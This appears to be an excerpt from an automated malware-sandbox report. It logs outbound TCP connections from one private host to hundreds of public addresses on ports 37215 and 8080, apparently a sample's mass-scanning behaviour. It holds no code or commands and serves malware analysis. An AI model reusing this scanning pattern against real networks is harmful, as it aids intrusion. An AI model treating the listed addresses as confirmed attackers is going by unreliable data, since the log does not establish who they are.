Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.27.38.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.99.62.180:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.159.32.54:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.59.70.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.112.40.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.20.1.171:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.89.158.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.87.127.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.51.199.205:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.208.248.234:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.62.2.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.69.106.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.218.252.188:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.252.31.39:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 19.220.37.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.137.178.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.69.27.141:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 102.32.47.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.162.40.251:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.59.5.110:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 74.41.213.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 216.44.130.253:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 177.180.48.108:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.29.60.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.233.207.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 117.181.157.113:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 67.228.132.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.3.9.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.114.238.202:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.53.250.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.232.135.133:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.153.78.179:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 19.188.231.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 219.231.30.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.156.53.119:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.89.73.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.160.115.148:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.147.47.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.61.218.239:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 174.76.60.30:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.104.94.156:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.195.28.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 206.6.122.196:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.30.86.26:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 171.41.16.2:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.100.154.65:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.8.155.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 120.167.125.235:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 125.166.171.41:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.13.114.170:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.28.232.121:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.1.225.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.32.167.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.41.64.61:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 25.200.95.126:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 60.52.211.88:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.48.158.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.69.126.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.3.115.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.145.156.42:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 37.211.52.102:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.124.23.87:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.126.55.73:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.133.18.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.93.243.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.129.6.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.201.67.233:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.224.165.240:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.140.156.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.188.17.80:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.172.148.22:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.49.190.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.73.183.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.207.247.112:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 84.229.81.60:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 8.245.42.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 40.142.55.242:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.255.149.246:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 146.254.6.27:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.1.118.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 185.235.255.247:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.221.80.172:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 49.13.74.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.195.236.222:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.233.247.46:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.208.173.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.2.229.178:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.55.165.29:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.184.107.15:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.13.170.8:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.33.84.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.175.125.146:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 173.107.133.238:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.2.220.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.125.127.4:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.227.173.149:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.91.71.167:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.106.17.212:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.172.213.254:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.143.58.55:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.252.39.150:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.15.178.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.14.197.78:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.120.21.187:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.155.75.174:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.193.208.152:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.113.201.24:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 120.202.121.220:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.153.61.183:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.244.137.131:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.237.252.249:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.177.76.129:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.167.3.123:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 166.115.50.91:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.118.16.226:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 126.199.58.193:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 39.159.106.101:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.78.218.161:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.49.10.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.80.69.255:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.196.167.98:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.40.127.232:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.114.205.40:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.238.129.182:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.225.167.105:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.13.147.134:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.225.178.114:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.108.116.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.164.158.136:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 46.202.101.223:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.49.172.35:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 141.25.194.206:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 37.153.9.82:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.13.214.92:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.5.62.250:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.7.251.227:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.58.125.86:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.129.79.109:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.16.228.106:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.109.218.16:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.237.177.111:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.131.78.43:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.36.152.51:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 146.134.75.69:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.150.254.64:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.129.246.236:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.51.25.248:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.108.91.189:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 210.208.158.66:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.157.1.100:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 41.187.35.90:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.64.131.200:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 157.17.17.58:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.36.130.50:37215
Source: global traffic	TCP traffic: 192.168.2.13:15269 -> 197.33.174.12:37215
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 109.48.184.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 202.237.164.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 204.198.166.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 164.82.225.26:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 46.132.53.206:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 152.136.186.96:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 12.253.13.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 74.123.170.133:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 176.49.152.116:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 200.146.4.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 71.184.89.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 144.162.52.160:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 65.225.221.5:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 61.205.108.11:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 218.172.32.197:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 71.31.96.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 47.132.44.68:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 80.102.45.215:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 51.13.71.152:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 125.42.180.149:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 83.204.27.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 124.203.32.226:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 163.198.84.136:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 19.101.254.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 96.220.79.127:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 177.6.54.55:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 144.46.60.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 57.121.137.98:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 128.204.80.253:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 84.224.219.218:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 94.22.49.89:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 74.119.225.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 78.56.195.70:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 170.238.243.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 141.191.215.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 185.210.249.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 186.122.232.226:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 71.98.129.30:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 97.142.178.223:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 168.221.232.190:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 196.148.177.216:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 152.205.203.193:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 209.165.195.213:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 74.250.183.106:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 143.128.39.35:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 209.156.228.121:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 82.119.203.159:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 191.244.208.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 80.245.187.230:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 151.72.1.63:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 157.181.72.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 24.252.94.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 137.149.64.53:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 63.63.109.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 85.46.120.32:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 69.153.69.112:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 134.20.3.182:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 106.79.57.7:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 8.224.207.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 223.208.67.93:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 114.251.169.253:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 70.244.161.23:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 194.209.130.99:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 223.11.7.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 101.239.149.31:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 4.127.60.85:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 25.76.74.250:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 71.66.237.128:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 108.254.216.185:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 23.61.202.143:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 175.191.98.158:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 203.72.78.9:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 87.66.186.201:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 102.68.174.193:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 218.150.255.34:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 116.31.76.80:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 135.65.108.107:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 93.176.49.224:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 206.17.170.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 142.73.193.111:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 96.97.65.235:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 119.177.130.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 67.21.182.104:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 109.231.30.134:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 57.229.106.160:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 165.214.144.169:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 155.255.173.88:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 176.177.171.140:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 101.178.117.245:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 104.196.158.161:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 198.178.84.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 86.173.74.71:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 83.182.63.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 191.5.217.204:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 157.64.139.165:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 194.0.214.103:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 123.196.110.97:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 83.60.193.31:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 79.124.154.155:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 152.226.240.174:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 163.9.61.102:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 181.180.18.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 154.115.103.236:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 196.171.136.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 152.8.251.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 106.12.72.86:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 131.233.153.82:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 153.151.4.96:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 134.86.124.146:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 72.233.160.92:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 34.10.16.198:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 213.10.208.46:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 65.192.55.202:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 157.134.13.122:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 32.245.213.64:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 57.154.71.100:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 222.88.92.133:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 36.34.232.194:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 101.167.117.109:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 133.229.139.176:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 84.195.93.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 155.193.99.247:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 190.253.168.25:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 182.178.29.59:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 13.237.241.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 68.181.22.141:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 109.249.18.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 200.128.250.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 182.103.7.172:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 77.166.66.45:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 81.248.195.252:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 50.117.249.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 113.45.137.99:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 220.57.31.250:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 113.214.87.12:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 207.104.165.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 155.111.49.110:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 167.28.123.91:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 211.22.159.207:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 124.143.129.165:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 44.3.68.196:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 149.116.85.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 73.184.87.57:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 110.28.54.125:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 48.91.192.189:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 152.82.196.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 119.231.10.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 32.127.43.96:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 50.153.42.231:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 160.22.229.128:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 115.195.239.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 148.68.87.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 144.65.204.36:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 45.123.253.76:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 109.118.183.75:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 222.12.189.58:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 126.242.85.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 39.52.42.87:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 137.88.131.235:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 180.152.212.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 43.232.209.56:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 80.5.175.188:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 40.57.3.248:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 8.85.185.193:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 79.210.243.204:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 180.57.66.114:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 96.250.0.22:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 198.70.148.0:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 175.202.62.53:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 103.70.67.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 58.192.253.33:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 218.199.161.214:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 23.28.162.166:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 138.130.196.41:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 98.35.187.238:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 40.230.200.203:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 104.132.141.54:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 189.3.20.254:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 109.171.145.255:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 151.126.66.49:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 201.184.205.100:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 92.213.101.40:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 111.62.251.117:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 45.239.77.209:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 171.242.76.115:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 223.175.69.52:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 99.113.189.191:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 208.34.13.217:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 124.126.76.48:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 195.49.245.27:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 84.52.136.244:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 133.142.13.109:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 151.74.43.219:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 113.254.146.14:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 110.29.248.77:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 163.228.250.175:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 128.112.28.233:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 212.37.42.42:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 182.204.203.229:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 121.236.60.74:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 153.255.155.215:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 121.192.210.171:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 9.223.106.244:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 103.172.250.152:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 153.173.156.210:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 201.199.9.38:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 194.85.191.65:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 31.117.183.132:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 13.251.156.241:8080
Source: global traffic	TCP traffic: 192.168.2.13:14757 -> 185.21.11.213:8080
